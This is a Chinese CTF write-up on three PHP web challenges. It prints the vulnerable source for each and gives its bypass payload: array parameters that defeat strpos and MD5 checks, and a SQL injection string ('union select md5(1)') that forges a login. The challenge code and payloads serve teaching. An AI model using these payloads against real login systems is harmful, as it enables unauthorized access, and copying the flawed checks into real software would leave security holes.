一、strpos数组绕过NULL
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
定义和用法
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
它不能对数组处理,如果是数组则返回null,null,也就不等于FALSE.
payload为?nctf[]=1
二、密码md5比较绕过
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo “
Logged in! Key: ntcf{**}
“;}
else {
echo(“
Log in failure!
“);}
}
?>
审计源码可知,要想得到flag,只需要同时满足
($query[pw]) && (!strcasecmp($pass, $query[pw]))
$user
变量我们是可以控制的,然后又没有任何过滤措施
我们就可以直接利用这个语句选择一个相应的密码给对应的pw
如果前面的用户名不存在的话
mysql_fetch_array(mysql_query(“select pw from ctf where user=’$user’”));
取到的东西就是空,然后在加上我们的md5密码,就可以实现成功登陆
strcasecmp函数,比较2个字符串,不区分大小写。如果2个字符串大小相等就返回0。
最后payload
user=1’ union select md5(1)%23&pass=1
三、MD5函数===绕过
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
由于md5解析不了数组,返回空。
payload:?username[]=1&password[]=2